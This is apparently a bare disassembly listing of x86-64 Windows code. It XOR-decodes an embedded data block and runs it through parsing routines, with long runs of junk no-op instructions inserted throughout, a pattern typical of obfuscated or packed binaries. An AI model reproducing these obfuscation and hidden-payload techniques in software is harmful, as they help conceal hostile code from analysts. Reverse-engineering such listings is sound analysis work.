xor rax, 0
add rax, 0
mov rax, rax
xor rax, 0
mov rax, rax
or rax, rax
add rax, 0
pxor xmm0, xmm0
lea rsi, [rsp + 0xdb0]
movdqa xmmword [rsi + 0x10], xmm0
movdqa xmmword [rsi], xmm0
mov edx, 0x20
mov rcx, rsi
call fcn.140038048
movdqa xmm0, xmmword [rsi]
movaps xmm1, xmmword [rsi + 0x10]
movaps xmmword [rsp + 0x190], xmm1
movdqa xmmword [rsp + 0x180], xmm0
mov rax, rax
nop
xor rax, 0
add rax, 0
nop
nop
nop
nop
nop
nop
add rax, 0
sub rax, 0
xor rax, 0
movdqa xmm6, xmmword [rsp + 0x180]
movdqa xmm7, xmmword [rsp + 0x190]
mov rax, rax
mov rax, rax
or rax, 0
nop
add rax, 0
nop
or rax, rax
nop
or rax, 0
xor rax, 0
add rax, 0
nop
xor rax, 0
xor rax, 0
xor rax, 0
xor rax, 0
or rax, 0
sub rax, 0
add rax, 0
nop
add rax, 0
mov rax, rax
xor rax, 0
sub rax, 0
sub rax, 0
mov rax, rax
nop
or rax, 0
mov rax, rax
mov rax, rax
xor rax, 0
or rax, rax
or rax, 0
xor rax, 0
add rax, 0
xor rax, 0
or rax, rax
nop
mov rax, rax
lea rax, [0x140047d33]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0x125a90cf4ac6cce7
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14000678c
mov rsi, rax
xor edi, edi
lea rcx, [rsp + 0xdb0]
mov r8d, 0x31c
xor edx, edx
call sub.msvcrt.dll_memset
lea rax, [0x140049d25]
cmp rdi, 0x318
jae 0x1400126a6
mov rcx, qword [rdi + rax]
xor rcx, qword [rsi + rdi]
mov qword [rsp + rdi + 0xdb0], rcx
add rdi, 8
jmp 0x140012687
mov ecx, 0x318
cmp rcx, 0x31b
ja 0x1400126da
movzx edx, byte [rcx + rax + 2]
shl edx, 0x10
movzx r8d, word [rcx + rax]
add edx, r8d
add edx, 0xb5000000
xor edx, dword [rsi + rcx]
mov dword [rsp + rcx + 0xdb0], edx
add rcx, 4
jmp 0x1400126ab
movzx eax, byte [rsi + 0x31e]
movzx ecx, word [rsi + 0x31c]
xor ecx, 0x1545
lea rdx, [rsp + 0xdb0]
mov word [rdx + 0x31c], cx
xor al, 0x8d
mov byte [rdx + 0x31e], al
lea rsi, [rsp + 0x1e960]
mov r8d, 0x31f
mov rcx, rsi
call sub.msvcrt.dll_memcpy
or rax, 0
nop
nop
add rax, 0
or rax, rax
mov rax, rax
add rax, 0
or rax, rax
add rax, 0
mov rax, rax
or rax, rax
or rax, rax
xor rax, 0
nop
mov ecx, 0x31f
xor edx, edx
call fcn.14001b4ec
mov rdi, rax
mov rbx, rdx
mov r8d, 0x31f
mov rcx, rax
mov rdx, rsi
call sub.msvcrt.dll_memcpy
lea rdx, [rsp + 0x590]
mov qword [rdx], rdi
mov qword [rdx + 8], rbx
mov qword [rdx + 0x10], 0x31f
lea rsi, [rsp + 0xdb0]
mov rcx, rsi
call fcn.14000462c
cmp byte [rsi + 0x20], 2
jne 0x14001773a
lea rsi, [rsp + 0xdb0]
mov r13, qword [rsi]
mov rbx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
nop
or rax, rax
or rax, 0
sub rax, 0
mov rax, rax
nop
mov rax, rax
xor rax, 0
nop
mov rcx, rsi
mov rdx, r13
call fcn.140023683
cmp dword [rsi], 2
jne 0x14001773a
mov r8, qword [rsp + 0xdb8]
mov r9, qword [rsp + 0xdc0]
mov r12, qword [rsp + 0xdc8]
mov r15, qword [rsp + 0xdd0]
mov rdi, qword [rsp + 0xdd8]
lea rcx, [0x140049b76]
mov edx, 0xa
call fcn.140028477
test al, al
je 0x140017505
mov qword [rsp + 0x50], rbx
cmp rdi, 0xfffffff
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x70], r12
ja 0x14001772b
lea rsi, [rsp + 0x590]
and dword [rsi + 3], 0
xor eax, eax
mov byte [rsi + 7], al
mov rcx, r12
shr rcx, 8
mov r8, r12
shr r8, 0x28
mov r9, r12
shr r9, 0x30
mov r10d, edi
shr r10d, 0x10
mov r11, rdi
shr r11, 0x18
mov rbx, rdi
shr rbx, 0x38
mov ebp, dword [rsi]
mov r14d, dword [rsi + 5]
lea rdx, [rsp + 0x100]
mov byte [rdx], r12b
mov dword [rdx + 1], ecx
mov byte [rdx + 5], r8b
mov ecx, edi
shl ecx, 0x10
or ecx, r9d
mov dword [rdx + 6], ecx
mov byte [rdx + 0xa], r10b
mov dword [rdx + 0xb], r11d
mov byte [rdx + 0xf], bl
mov dword [rdx + 0x10], edi
mov dword [rdx + 0x15], ebp
mov byte [rdx + 0x19], al
mov dword [rdx + 0x1a], r14d
mov rcx, rsi
call fcn.140023124
cmp dword [rsi], 2
jne 0x140017510
lea rbx, [rsp + 0x590]
mov rsi, qword [rbx + 4]
mov rdx, rsi
shr rdx, 0x20
mov rcx, rbx
mov r8d, 9
call fcn.140023598
cmp dword [rbx], 2
jne 0x140017553
lea rbx, [rsp + 0x590]
lea rdx, [rsp + 0x100]
mov rcx, rbx
mov r8d, esi
call fcn.140034337
cmp dword [rbx], 2
jne 0x1400175ad
lea rsi, [rsp + 0x590]
movdqu xmm0, xmmword [rsi + 8]
lea rdx, [rsp + 0x1d0]
movdqa xmmword [rdx], xmm0
mov rcx, rsi
call fcn.1400343b1
mov cl, byte [rsi + 0x40]
mov eax, dword [rsi + 4]
mov dword [rsp + 0x58], eax
mov rax, qword [rsi + 8]
mov qword [rsp + 0x60], rax
mov rbp, qword [rsi + 0x10]
mov rdi, qword [rsi + 0x18]
mov eax, dword [rsi + 0x20]
mov dword [rsp + 0x40], eax
mov eax, dword [rsi + 0x24]
mov dword [rsp + 0x68], eax
mov eax, dword [rsi + 0x28]
mov dword [rsp + 0x38], eax
cmp cl, 0x18
je 0x1400176e2
mov byte [rsp + 0x88], cl
lea rsi, [rsp + 0x590]
mov r14d, dword [rsi]
mov eax, dword [rsi + 0x2c]
mov dword [rsp + 0xa0], eax
mov rax, qword [rsi + 0x30]
mov qword [rsp + 0xb8], rax
mov rax, qword [rsi + 0x38]
mov qword [rsp + 0x80], rax
mov eax, dword [rsi + 0x41]
mov dword [rsp + 0x560], eax
mov eax, dword [rsi + 0x44]
mov dword [rsp + 0x563], eax
lea rdx, [rsp + 0x1d0]
mov rcx, rsi
call fcn.140033645
cmp dword [rsi], 2
jne 0x1400175f7
lea rbx, [rsp + 0x590]
mov rsi, qword [rbx + 4]
mov rdx, rsi
shr rdx, 0x20
mov rcx, rbx
mov r8d, 2
call fcn.140023598
cmp dword [rbx], 2
jne 0x14001763b
lea rbx, [rsp + 0x250]
lea rdx, [rsp + 0x1d0]
mov rcx, rbx
mov r8, rsi
call fcn.1400338be
cmp dword [rbx], 2
jne 0x140017699
mov qword [rsp + 0x90], rdi
mov qword [rsp + 0x78], r13
mov r11, qword [rsp + 0x258]
mov r10, qword [rsp + 0x260]
mov r9, qword [rsp + 0x268]
mov r8, qword [rsp + 0x270]
mov ecx, dword [rsp + 0x278]
mov eax, dword [rsp + 0x27c]
mov edx, dword [rsp + 0x560]
mov esi, dword [rsp + 0x563]
mov dword [rsp + 0x530], edx
mov dword [rsp + 0x533], esi
mov esi, dword [rsp + 0x1d8]
mov edx, dword [rsp + 0x1dc]
cmp esi, edx
ja 0x14001773e
mov rsi, r11
shr rsi, 0x20
mov dword [rsp + 0xc0], esi
mov qword [rsp + 0xc4], r10
mov qword [rsp + 0xcc], r9
mov qword [rsp + 0x140], r8
mov dword [rsp + 0x148], ecx
mov dword [rsp + 0x14c], eax
mov dword [rsp + 0x150], r14d
mov edx, dword [rsp + 0x530]
mov ebx, dword [rsp + 0x533]
mov dword [rsp + 0x371], edx
mov dword [rsp + 0x374], ebx
mov r13d, dword [rsp + 0xca]
mov r12d, dword [rsp + 0x145]
mov r15d, dword [rsp + 0x14a]
mov ebx, dword [rsp + 0x14f]
mov edx, dword [rsp + 0x371]
mov edi, dword [rsp + 0x374]
mov dword [rsp + 0xc13], edi
mov dword [rsp + 0xc10], edx
cmp byte [rsp + 0x11c], 0
jne 0x14001772b
mov edx, dword [rsp + 0x110]
cmp edx, dword [rsp + 0x118]
ja 0x14001772b
mov edx, dword [rsp + 0xc13]
mov dword [rsp + 0x2ec], edx
mov edx, dword [rsp + 0xc10]
mov dword [rsp + 0x2e9], edx
mov edx, dword [rsp + 0x2e9]
mov dword [rsp + 0x3c1], edx
mov edx, dword [rsp + 0x2ec]
mov dword [rsp + 0x3c4], edx
lea rdx, [rsp + 0xdd8]
mov dword [rdx - 0x28], r11d
mov dword [rdx - 0x24], esi
mov r11, r10
shr r11, 8
mov byte [rdx - 0x20], r10b
mov dword [rdx - 0x1f], r11d
shr r10, 0x28
mov byte [rdx - 0x1b], r10b
mov dword [rdx - 0x1a], r13d
mov r10d, r9d
shr r10d, 0x10
mov byte [rdx - 0x16], r10b
mov r10, r9
shr r10, 0x18
mov dword [rdx - 0x15], r10d
shr r9, 0x38
mov byte [rdx - 0x11], r9b
mov dword [rdx - 0x10], r8d
shr r8, 0x20
mov byte [rdx - 0xc], r8b
mov dword [rdx - 0xb], r12d
shr ecx, 8
mov byte [rdx - 7], cl
mov dword [rdx - 6], r15d
shr eax, 0x10
mov byte [rdx - 2], al
mov dword [rdx - 1], ebx
shr r14d, 0x18
mov byte [rdx + 3], r14b
mov eax, dword [rsp + 0x58]
mov dword [rdx + 4], eax
mov rcx, qword [rsp + 0x60]
mov rax, rcx
shr rax, 8
mov byte [rdx + 8], cl
mov rcx, rax
shr rcx, 0x30
mov byte [rdx + 0xf], cl
mov dword [rdx + 9], eax
shr rax, 0x20
mov word [rdx + 0xd], ax
mov qword [rdx + 0x10], rbp
mov rax, qword [rsp + 0x90]
mov qword [rdx + 0x18], rax
mov eax, dword [rsp + 0x40]
mov dword [rdx + 0x20], eax
mov eax, dword [rsp + 0x68]
mov dword [rdx + 0x24], eax
mov eax, dword [rsp + 0x38]
mov dword [rdx + 0x28], eax
mov eax, dword [rsp + 0xa0]
mov dword [rdx + 0x2c], eax
mov rax, qword [rsp + 0xb8]
mov qword [rdx + 0x30], rax
mov rax, qword [rsp + 0x80]
mov qword [rdx + 0x38], rax
mov eax, dword [rsp + 0x3c4]
mov dword [rdx + 0x44], eax
mov eax, dword [rsp + 0x3c1]
mov dword [rdx + 0x41], eax
mov al, byte [rsp + 0x88]
mov byte [rdx + 0x40], al
lea rsi, [rsp + 0x590]
mov rcx, rsi
call fcn.14003b3f8
mov ebp, dword [rsi]
cmp ebp, 6
jne 0x140012cac
mov al, byte [rsp + 0xdd0]
mov rsi, qword [rsp + 0xdb8]
mov r13d, 2
mov ebp, 4
test al, al
je 0x140012cfd
xor r12d, r12d
jmp 0x140013987
mov ebx, dword [rsp + 0x594]
mov r12, qword [rsp + 0x598]
mov rsi, qword [rsp + 0x5a0]
mov rax, qword [rsp + 0x5a8]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x5b0]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x5b8]
mov qword [rsp + 0x38], rax
mov r15, qword [rsp + 0x5c0]
mov r13d, 2
jmp 0x140013987
cmp rsi, 0xfffffff
ja 0x140012fd4
xor ecx, ecx
test al, al
cmove rcx, qword [rsp + 0xdb0]
mov eax, esi
lea rdx, [rsp + 0x250]
mov qword [rdx], rcx
mov qword [rdx + 8], rsi
mov qword [rdx + 0x10], rax
and qword [rdx + 0x18], 0
lea rsi, [rsp + 0x590]
mov rcx, rsi
call fcn.140023124
mov eax, dword [rsi]
cmp eax, 2
jne 0x1400136ed
lea rbx, [rsp + 0x590]
mov rsi, qword [rbx + 4]
mov rdx, rsi
shr rdx, 0x20
mov rcx, rbx
mov r8d, 9
call fcn.140023598
mov eax, dword [rbx]
cmp eax, 2
jne 0x1400138f7
lea rbx, [rsp + 0x590]
lea rdx, [rsp + 0x250]
mov rcx, rbx
mov r8d, esi
call fcn.140034337
mov eax, dword [rbx]
cmp eax, 2
jne 0x14001393f
lea rsi, [rsp + 0x590]
movdqu xmm0, xmmword [rsi + 8]
lea rdx, [rsp + 0x100]
movdqu xmmword [rdx], xmm0
mov rcx, rsi
call fcn.140033337
mov eax, dword [rsi]
cmp eax, 2
jne 0x14001393f
lea rsi, [rsp + 0x590]
mov rdi, qword [rsi + 8]
mov r14, qword [rsi + 0x10]
mov rax, qword [rsi + 0x18]
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x100]
mov rcx, rsi
call fcn.140033337
mov eax, dword [rsi]
cmp eax, 2
jne 0x14001393f
mov rax, qword [rsp + 0x598]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x5a0]
mov qword [rsp + 0x38], rax
mov r15, qword [rsp + 0x5a8]
mov esi, dword [rsp + 0x108]
mov ebx, dword [rsp + 0x10c]
cmp esi, ebx
jbe 0x140016a5f
xor eax, eax
sub esi, ebx
cmovb esi, eax
mov r12, rbx
shl r12, 0x20
or r12, 0x15
jmp 0x140016a76
xor rax, 0
add rax, 0
add rax, 0
xor rax, 0
or rax, rax
mov rax, rax
or rax, 0
mov rax, rax
nop
xor rax, 0
xor rax, 0
sub rax, 0
sub rax, 0
or rax, rax
xor rax, 0
sub rax, 0
sub rax, 0
or rax, rax
add rax, 0
mov rax, rax
or rax, 0
nop
or rax, rax
xor rax, 0
mov rax, rax
nop
mov rax, rax
xor rax, 0
mov rax, rax
sub rax, 0
mov rax, rax
nop
sub rax, 0
or rax, 0
sub rax, 0
nop
or rax, rax
nop
or rax, rax
or rax, rax
cmp qword [rsp + 0x58], 3
jne 0x14001308a
xor rax, 0
or rax, rax
nop
nop
nop
nop
nop
nop
mov rax, rax
sub rax, 0
mov rax, rax
or rax, rax
xor rax, 0
xor rax, 0
mov rax, rax
or rax, 0
add rax, 0
mov rax, qword [rsp + 0x60]
mov rdx, qword [rax + 0x30]
mov r8, qword [rax + 0x40]
lea rsi, [rsp + 0xd08]
mov rcx, rsi
xor r9d, r9d
call fcn.14000b0a4
or rax, rax
nop
mov rax, rax
xor rax, 0
mov rax, rax
sub rax, 0
xor rax, 0
add rax, 0
lea rdi, [rsp + 0xdb0]
mov rcx, rdi
mov rdx, rsi
call fcn.14000462c
cmp byte [rdi + 0x20], 2
jne 0x14001773a
mov rax, qword [rsp + 0xdb0]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0xdb8]
mov qword [rsp + 0x68], rax
mov rsi, qword [rsp + 0xdc0]
mov ecx, 1
xor edx, edx
call fcn.14001b4c0
jmp 0x14001309d
or rax, 0
nop
or rax, 0
xor rax, 0
add rax, 0
or rax, rax
xor rax, 0
add rax, 0
or rax, rax
or rax, 0
xor rax, 0
add rax, 0
mov rax, rax
or rax, 0
nop
xor rax, 0
or rax, 0
or rax, 0
jmp 0x140016959
mov r12, rsi
shl r12, 0x20
or r12, 0xc
mov eax, esi
mov qword [rsp + 0x40], rax
xor eax, eax
mov ebx, esi
jmp 0x140013985
mov eax, 1
mov qword [rsp + 0x70], rax
xor eax, eax
mov qword [rsp + 0x68], rax
xor esi, esi
xor edi, edi
mov rcx, rbx
mov rdx, r14
call fcn.14001b4c0
test rdi, rdi
je 0x14001302c
test r15, r15
jne 0x14001309d
lea rcx, [rsp + 0x590]
call fcn.14000330d
jmp 0x14001309d
lea rcx, [rsp + 0x590]
call fcn.14000351f
jmp 0x14001309d
or rax, rax
nop
add rax, 0
nop
or rax, 0
add rax, 0
add rax, 0
or rax, 0
add rax, 0
add rax, 0
nop
add rax, 0
or rax, rax
nop
mov rax, rax
sub rax, 0
or rax, rax
add rax, 0
or rax, rax
sub rax, 0
mov rax, rax
mov rax, rax
mov rax, rax
xor esi, esi
jmp 0x1400138ad
mov eax, 1
mov qword [rsp + 0x70], rax
xor eax, eax
mov qword [rsp + 0x68], rax
xor esi, esi
sub rax, 0
mov rax, rax
sub rax, 0
or rax, 0
or rax, 0
or rax, 0
add rax, 0
or rax, rax
test rsi, rsi
je 0x1400135ef
xor rax, 0
nop
sub rax, 0
nop
add rax, 0
or rax, 0
or rax, 0
or rax, 0
or rax, 0
xor rax, 0
add rax, 0
nop
or rax, 0
or rax, 0
nop
add rax, 0
add rax, 0
mov rax, rax
nop
or rax, 0
or rax, 0
nop
add rax, 0
mov rax, rax
sub rax, 0
nop
nop
sub rax, 0
mov rax, rax
sub rax, 0
nop
xor rax, 0
nop
nop
sub rax, 0
nop
mov rax, rax
mov rax, rax
add rax, 0
sub rax, 0
xor rax, 0
or rax, rax
xor rax, 0
nop
xor rax, 0
xor rax, 0
nop
add rax, 0
nop
mov rax, rax
nop
or rax, rax
mov rcx, qword [rsp + 0x240]
mov rdx, qword [rsp + 0x248]
call fcn.140002c47
test rax, rax
jne 0x14001773a
lea rax, [rsp + 0x4c0]
mov qword [rax], rdx
mov rcx, rcx
mov rcx, rcx
sub rcx, 0
add rcx, 0
xchg rcx, rcx
or rcx, rcx
xor rcx, 0
xor rcx, 0
xchg rcx, rcx
mov rcx, rcx
nop
lea r8, [rsp + 0x4e0]
mov qword [r8], 1
pxor xmm0, xmm0
movdqu xmmword [r8 + 8], xmm0
add rcx, 0
nop
mov rcx, rcx
sub rcx, 0
nop
lea rdi, [rsp + 0xdb0]
mov rcx, rdi
mov rdx, rax
call fcn.1400405a1
cmp qword [rdi], 0
jne 0x14001773a
nop
or rax, 0
mov rax, rax
or rax, 0
or rax, rax
nop
or rax, 0
sub rax, 0
sub rax, 0
sub rax, 0
or rax, rax
nop
or rax, rax
or rax, rax
or rax, rax
mov rax, rax
add rax, 0
mov rax, rax
or rax, rax
mov rax, rax
add rax, 0
mov rax, qword [rsp + 0x4e0]
mov qword [rsp + 0x48], rax
mov r12, qword [rsp + 0x4f0]
nop
nop
or rax, rax
add rax, 0
add rax, 0
add rax, 0
nop
or rax, rax
or rax, rax
sub rax, 0
xor rax, 0
nop
xor rax, 0
or rax, rax
or rax, rax
lea rdi, [rsp + 0xdb0]
mov rcx, rdi
mov rdx, qword [rsp + 0x70]
mov r8, rsi
call fcn.140023683
cmp dword [rdi], 2
jne 0x14001773a
mov r8, qword [rsp + 0xdb8]
mov r9, qword [rsp + 0xdc0]
movdqu xmm0, xmmword [rsp + 0xdc8]
movdqa xmmword [rsp + 0x1e960], xmm0
movups xmm1, xmmword [rsp + 0xdd8]
movaps xmmword [rsp + 0x1e970], xmm1
movaps xmmword [rsp + 0x520], xmm1
movdqa xmmword [rsp + 0x510], xmm0
lea rcx, [0x140049b80]
mov edx, 0xb
call fcn.140028477
test al, al
je 0x140017b6d
mov rax, qword [rsp + 0x520]
cmp rax, 0xfffffff
ja 0x14001365a
mov rcx, qword [rsp + 0x510]
mov r8d, eax
lea rdx, [rsp + 0x1e960]
mov qword [rdx], rcx
mov qword [rdx + 8], rax
mov qword [rdx + 0x10], r8
and qword [rdx + 0x18], 0
lea rsi, [rsp + 0xdb0]
mov rcx, rsi
call fcn.140023124
mov ebp, dword [rsi]
cmp ebp, 2
jne 0x1400136b1
lea rdi, [rsp + 0xdb0]
mov rsi, qword [rdi + 4]
mov rdx, rsi
shr rdx, 0x20
mov rcx, rdi
mov r8d, 9
call fcn.140023598
mov ebp, dword [rdi]
cmp ebp, 2
jne 0x140013738
lea rdi, [rsp + 0xdb0]
lea rdx, [rsp + 0x1e960]
mov rcx, rdi
mov r8d, esi
call fcn.140034337
mov ebp, dword [rdi]
cmp ebp, 2
jne 0x140014b8a
lea rsi, [rsp + 0xdb0]
movdqu xmm0, xmmword [rsi + 8]
lea rdx, [rsp + 0x250]
movdqu xmmword [rdx], xmm0
mov rcx, rsi
call fcn.140034cef
mov edx, dword [rsi]
movabs rax, 0xffffffff00000000
mov qword [rsp + 0x40], rax
cmp edx, 2
jne 0x14001555e
mov al, byte [rsp + 0xdb4]
mov byte [rsp + 0x88], al
cmp al, 2
jae 0x1400155d2
lea rsi, [rsp + 0xdb0]
lea rdx, [rsp + 0x250]
mov rcx, rsi
call fcn.1400343b1
mov cl, byte [rsi + 0x40]
mov r14, qword [rsi]
mov rdi, qword [rsi + 8]
mov rbx, qword [rsi + 0x10]
mov rax, qword [rsi + 0x18]
mov qword [rsp + 0x58], rax
mov rax, qword [rsi + 0x20]
mov qword [rsp + 0x60], rax
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x38], rax
mov rax, qword [rsi + 0x30]
mov qword [rsp + 0x50], rax
mov byte [rsp + 0xa0], cl
cmp cl, 0x18
je 0x14001560e
lea rsi, [rsp + 0xdb0]
mov rax, qword [rsi + 0x38]
mov qword [rsp + 0xb8], rax
mov eax, dword [rsi + 0x41]
mov dword [rsp + 0x180], eax
mov eax, dword [rsi + 0x44]
mov dword [rsp + 0x183], eax
lea rdx, [rsp + 0x250]
mov rcx, rsi
call fcn.140033645
mov eax, dword [rsi]
cmp eax, 2
jne 0x140016a80
lea r15, [rsp + 0xdb0]
mov rsi, qword [r15 + 4]
mov rdx, rsi
shr rdx, 0x20
mov rcx, r15
mov r8d, 3
call fcn.140023598
mov eax, dword [r15]
cmp eax, 2
jne 0x140016bc1
lea r15, [rsp + 0xdb0]
lea rdx, [rsp + 0x250]
mov rcx, r15
mov r8, rsi
call fcn.140033aa5
mov eax, dword [r15]
cmp eax, 2
jne 0x140016c3b
lea rbp, [rsp + 0xdb0]
mov r15, qword [rbp + 8]
mov rsi, qword [rbp + 0x10]
lea rcx, [rsp + 0x250]
call fcn.140033600
test al, 1
je 0x140016f61
mov rcx, rbp
call fcn.140023415
mov eax, dword [rsp + 0xdb0]
movzx edx, byte [rsp + 0xdb6]
shl edx, 0x10
movzx ecx, word [rsp + 0xdb4]
or ecx, edx
cmp eax, 2
jne 0x140016ccc
cmp cl, 0x15
jne 0x140016f61
call fcn.140023660
cmp al, 1
ja 0x140016f61
je 0x140016d37
mov rcx, rbp
lea rdx, [rsp + 0x250]
call fcn.140033645
mov eax, dword [rsp + 0xdb0]
cmp eax, 2
jne 0x140016dec
mov r8, qword [rsp + 0xdb4]
mov rcx, rbp
lea rdx, [rsp + 0x250]
call fcn.140033aa5
mov eax, dword [rsp + 0xdb0]
cmp eax, 2
je 0x1400134df
mov ecx, dword [rsp + 0xdb4]
mov rdi, qword [rsp + 0xdb8]
mov rbx, qword [rsp + 0xdc0]
mov rdx, qword [rsp + 0xdc8]
mov qword [rsp + 0x58], rdx
mov rdx, qword [rsp + 0xdd0]
mov qword [rsp + 0x60], rdx
mov rdx, qword [rsp + 0xdd8]
mov qword [rsp + 0x38], rdx
mov dl, byte [rsp + 0xde0]
mov r8b, byte [rsp + 0xde1]
mov r10d, dword [rsp + 0xde2]
movzx r9d, word [rsp + 0xde6]
shl r9, 0x20
or r9, r10
jmp 0x140016e51
or rax, 0
sub rax, 0
mov rax, rax
add rax, 0
mov rax, rax
add rax, 0
nop
or rax, rax
or rax, 0
nop
xor rax, 0
or rax, 0
xor rax, 0
or rax, rax
add rax, 0
or rax, rax
add rax, 0
or rax, 0
or rax, 0
sub rax, 0
mov rax, rax
or rax, 0
sub rax, 0
or rax, 0
or rax, rax
nop
xor rax, 0
nop
xor rax, 0
add rax, 0
nop
jmp 0x14001694a
mov r13, rax
shl r13, 0x20
or r13, 0xc
mov esi, eax
xor ebp, ebp
mov r15, rax
jmp 0x140015634
nop
nop
or rax, rax
add rax, 0
nop
or rax, 0
nop
add rax, 0
nop
mov rax, rax
or rax, 0
nop
mov rax, rax
or rax, rax
xor rax, 0
jmp 0x14001389b
mov rsi, qword [rsp + 0x1e960]
mov r8, qword [rsp + 0x1e970]
jmp 0x14000e28d
mov eax, dword [rsp + 0xdb4]
mov r15, qword [rsp + 0xdc0]
mov rsi, qword [rsp + 0xdc8]
mov r14, qword [rsp + 0xdd0]
mov rdi, qword [rsp + 0xdd8]
mov rbx, qword [rsp + 0xde0]
mov r13, qword [rsp + 0xdb8]
jmp 0x140015632
mov ebx, dword [rsp + 0x594]
mov rsi, qword [rsp + 0x5a0]
mov rcx, qword [rsp + 0x5a8]
mov qword [rsp + 0x40], rcx
mov rcx, qword [rsp + 0x5b0]
mov qword [rsp + 0x68], rcx
mov rcx, qword [rsp + 0x5b8]
mov qword [rsp + 0x38], rcx
mov r15, qword [rsp + 0x5c0]
mov r12, qword [rsp + 0x598]
jmp 0x140013985
mov r13, qword [rsp + 0xdb8]
mov r15, qword [rsp + 0xdc0]
mov rsi, qword [rsp + 0xdc8]
mov r14, qword [rsp + 0xdd0]
mov rdi, qword [rsp + 0xdd8]
mov rbx, qword [rsp + 0xde0]
mov eax, dword [rsp + 0xdb4]
jmp 0x140015632
mov rdi, qword [rsp + 0x1e968]
mov rsi, qword [rsp + 0x1e970]
mov qword [rsp + 0x258], rdi
mov qword [rsp + 0x260], rsi
mov qword [rsp + 0x250], 0x14
mov rax, rax
mov rax, rax
or rax, rax
nop
nop
or rax, 0
sub rax, 0
or rax, rax
add rax, 0
nop
add rax, 0
or rax, 0
sub rax, 0
or rax, rax
nop
nop
mov rax, rax
mov rax, rax
nop
nop
or rax, 0
add rax, 0
add rax, 0
add rax, 0
add rax, 0
xor rax, 0
or rax, 0
xor rax, 0
mov rax, rax
or rax, rax
nop
add rax, 0
mov rax, rax
or rax, rax
or rax, 0
sub rax, 0
xor rax, 0
or rax, 0
or rax, 0
nop
mov rax, rax
mov rcx, rsi
call fcn.14001b537
mov qword [rsp + 0x68], rdx
mov qword [rsp + 0x70], rax
mov rcx, rax
mov rdx, rdi
mov r8, rsi
call sub.msvcrt.dll_memcpy
mov ecx, 1
xor edx, edx
call fcn.14001b4c0
mov rdi, qword [rsp + 0x590]
jmp 0x1400120cb
sub rax, 0
or rax, 0
or rax, 0
xor rax, 0
or rax, rax
nop
sub rax, 0
sub rax, 0
sub rax, 0
add rax, 0
or rax, rax
or rax, 0
xor rax, 0
or rax, rax
or rax, rax
or rax, rax
nop
mov rax, rax
or rax, 0
nop
add rax, 0
mov rsi, qword [rsp + 0x50]
lea rcx, [rsp + 0xdb0]
call fcn.14000330d
mov rcx, qword [rsp + 0x80]
mov rdx, qword [rsp + 0xb8]
call fcn.14001b4c0
test rsi, rsi
je 0x1400138e5
cmp qword [rsp + 0x50], 0
jne 0x140016959
lea rcx, [rsp + 0x590]
call fcn.14000330d
jmp 0x140016959
lea rcx, [rsp + 0x590]
call fcn.14000351f
jmp 0x140016959
mov r12, qword [rsp + 0x598]
mov rsi, qword [rsp + 0x5a0]
mov rcx, qword [rsp + 0x5a8]
mov qword [rsp + 0x40], rcx
mov rcx, qword [rsp + 0x5b0]
mov qword [rsp + 0x68], rcx
mov rcx, qword [rsp + 0x5b8]
mov qword [rsp + 0x38], rcx
mov r15, qword [rsp + 0x5c0]
mov ebx, dword [rsp + 0x594]
jmp 0x140013985
mov ebx, dword [rsp + 0x594]
mov r12, qword [rsp + 0x598]
mov rsi, qword [rsp + 0x5a0]
mov rcx, qword [rsp + 0x5a8]
mov qword [rsp + 0x40], rcx
mov rcx, qword [rsp + 0x5b0]
mov qword [rsp + 0x68], rcx
mov rcx, qword [rsp + 0x5b8]
mov qword [rsp + 0x38], rcx
mov r15, qword [rsp + 0x5c0]
mov ebp, eax
lea r14, [rsp + 0xdb8]
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x48]
call fcn.14001b4c0
cmp r13d, 2
je 0x14001773a
lea rdi, [rsp + 0xdb0]
mov qword [rdi], r13
mov dword [rdi + 8], ebp
mov dword [rdi + 0xc], ebx
mov qword [rdi + 0x10], r12
mov qword [rdi + 0x18], rsi
mov rax, qword [rsp + 0x40]
mov qword [rdi + 0x20], rax
mov rax, qword [rsp + 0x68]
mov qword [rdi + 0x28], rax
mov rax, qword [rsp + 0x38]
mov qword [rdi + 0x30], rax
mov qword [rdi + 0x38], r15
movdqa xmm0, xmmword [rsp + 0x590]
movaps xmm1, xmmword [rsp + 0x5a0]
movdqu xmmword [rdi + 0x40], xmm0
movups xmmword [rdi + 0x50], xmm1
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x50]
call fcn.14001b4c0
add rax, 0
add rax, 0
nop
add rax, 0
xor rax, 0
nop
sub rax, 0
or rax, rax
or rax, 0
sub rax, 0
nop
add rax, 0
nop
or rax, rax
nop
or rax, 0
or rax, rax
or rax, rax
add rax, 0
add rax, 0
sub rax, 0
mov rcx, rdi
call fcn.1400028be
cmp rax, 0x1000
ja 0x14001773a
lea rsi, [rsp + 0xde0]
mov rcx, rsi
call fcn.140007d03
test rax, rax
je 0x14001773a
mov rdi, rdx
lea rdx, [rsp + 0xdb0]
mov rcx, rsi
call fcn.14003b278
test al, al
jne 0x14001773a
mov rax, qword [rsp + 0xdd8]
cmp rax, 5
jb 0x140013ab0
mov rax, qword [rsp + 0xdb8]
mov r14, qword [rsp + 0xdc0]
test rax, rax
je 0x14001773a
test byte [r14], 1
je 0x14001773a
mov rax, qword [rsp + 0xe08]
cmp rax, 5
jb 0x140013ae3
mov rax, qword [rsp + 0xde8]
mov rcx, qword [rsp + 0xdf0]
jmp 0x140013aeb
lea rcx, [rsp + 0xde8]
test rax, rax
je 0x14001773a
test byte [rcx], 1
je 0x14001773a
cmp rdi, 2
jb 0x14001773a
movabs rax, 0x1ffffffff
cmp rdi, rax
ja 0x14001773a
lea rcx, [rsp + 0xdb0]
call fcn.14003b3e2
mov rdi, rax
add rax, 0xfffffffffffffff5
cmp rax, 0x20
jb 0x14001773a
mov rcx, rdi
mov dl, 1
call fcn.14001b4ec
cmp rdi, 1
jbe 0x14001773a
mov rbx, rax
mov byte [rax + 1], 2
mov r13, rdi
sub r13, 0x21
jb 0x14001773a
mov r15, rdx
lea rdx, [rdi - 0x23]
lea r14, [rbx + 2]
mov rcx, r14
